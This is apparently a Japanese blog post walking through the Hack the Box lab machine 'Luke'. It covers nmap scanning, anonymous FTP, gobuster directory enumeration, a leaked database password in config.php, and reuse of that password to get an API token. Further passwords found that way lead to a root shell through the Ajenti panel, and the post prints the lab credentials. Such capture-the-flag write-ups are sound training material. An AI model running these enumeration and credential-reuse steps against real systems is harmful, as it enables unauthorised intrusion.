はじめに
筆者は Hack the Box 初心者です。 何か訂正や補足、アドバイスなどありましたら、コメントか Twitter までお願いします。 さんぽし(@sanpo_shiho) | Twitter
cheat sheet
以下で cheat sheet としてツールの使い方などをまとめています。参考にしてください。 github | sanposhiho/MYCHEATSHEET
machine について
難易度は medium です
nmap
kali@kali:~$ nmap -sC -sV 10.10.10.137
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-17 22:59 EDT
Nmap scan report for 10.10.10.137
Host is up (0.23s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3+ (ext.1)
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 0 0 512 Apr 14 2019 webapp
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.8
| Logged in as ftp
| TYPE: ASCII
| No session upload bandwidth limit
| No session download bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3+ (ext.1) - secure, fast, stable
|_End of status
22/tcp open ssh?
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open http Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3
|_http-title: Luke
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
8000/tcp open http Ajenti http control panel
|_http-title: Ajenti
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 201.10 seconds
ftp
kali@kali:~$ ftp 10.10.10.137
Connected to 10.10.10.137.
220 vsFTPd 3.0.3+ (ext.1) ready...
Name (10.10.10.137:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd
(remote-directory)
usage: cd remote-directory
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 512 Apr 14 2019 webapp
226 Directory send OK.
ftp> cd 512
550 Failed to change directory.
ftp> cd webapp
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-r-xr-xr-x 1 0 0 306 Apr 14 2019 for_Chihiro.txt
226 Directory send OK.
ftp> cd for_Chihiro.txt
550 Failed to change directory.
ftp> get for_Chihiro.txt
local: for_Chihiro.txt remote: for_Chihiro.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for for_Chihiro.txt (306 bytes).
226 Transfer complete.
306 bytes received in 0.00 secs (667.0270 kB/s)
ftp> exit
221 Goodbye.
kali@kali:~$ cat for_Chihiro.txt
Dear Chihiro !!
As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of
the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies !
Derry
8000 番みてみる
80 番みてみる
gobuster
kali@kali:~$ gobuster dir -u http://10.10.10.137 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -t 40 -x php,txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.137
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
2020/06/18 18:14:06 Starting gobuster
===============================================================
/login.php (Status: 200)
/member (Status: 301)
/management (Status: 401)
/css (Status: 301)
/js (Status: 301)
/vendor (Status: 301)
/config.php (Status: 200)
/LICENSE (Status: 200)
/config.php
$dbHost = 'localhost'; $dbUsername = 'root'; $dbPassword = 'Zk6heYCyv6ZE9Xcg'; $db = "login"; $conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or die("Connect failed: %s\n". $conn -> error);
なんか怪しいのが出てきました
/management
さっきの Zk6heYCyv6ZE9Xcg
と組み合わせて適当に username を打ってみましたがダメでした。(ちなみに 8000 番にも同様に試みましたがダメでした
3000 番みてみる
“Auth token is not supplied”を調べてみると Nodejs の下の記事が引っかかりました
gobuster
kali@kali:~$ gobuster dir -u http://10.10.10.137:3000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -t 40 -x js,txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.137:3000
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: js,txt
[+] Timeout: 10s
===============================================================
2020/06/18 18:09:46 Starting gobuster
===============================================================
/login (Status: 200)
/users (Status: 200)
/Login (Status: 200)
/Users (Status: 200)
/LogIn (Status: 200)
/LOGIN (Status: 200)
上の記事の通りに試しに/login に POST で username, password を送ってみます
kali@kali:~$ curl -X POST -H "Content-Type: application/json" -d '{"password":"hoge", "username":"hoge"}' http://10.10.10.137:3000/login
Forbidden
なるほど
さっき http://10.10.10.137/config.php
で見た Zk6heYCyv6ZE9Xcg
と組み合わせて適当に username を打ってみます
すると admin/Zk6heYCyv6ZE9Xcg で通りました
kali@kali:~$ curl -X POST -H "Content-Type: application/json" -d '{"password":"Zk6heYCyv6ZE9Xcg",
"username":"admin"}' http://10.10.10.137:3000/login
{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTkyNTE5MTI2LCJleHAiOjE1OTI2MDU1MjZ9.MMLMwd5IHmEWYJGjhz0oCmIANIOZsZzAbzyAB0efR1s"}
この token を x-access-token にセットして/にアクセスすると ↓x-access-token セット
/users にアクセスすると
通常の API だと/users/:id などにアクセスするとその user の情報をみれるな〜と思って調べていると/user/:username で見れるようです
/users/Derry
先ほどとは違ったパスワードが出てきました。
/management にアクセスする
出てきたパスワードで先ほど弾かれた/management に入れます
/config.json
これまた新しく何かの password ぽい物があります
8000 番にアクセス
さっきの新しく出てきた password+適当に username を打っていると
root/KpMasng6S5EtTy9Z で通ります
目次の terminal を選択すると
root 権限で shell が取れました
終わりに
ムズムズだった…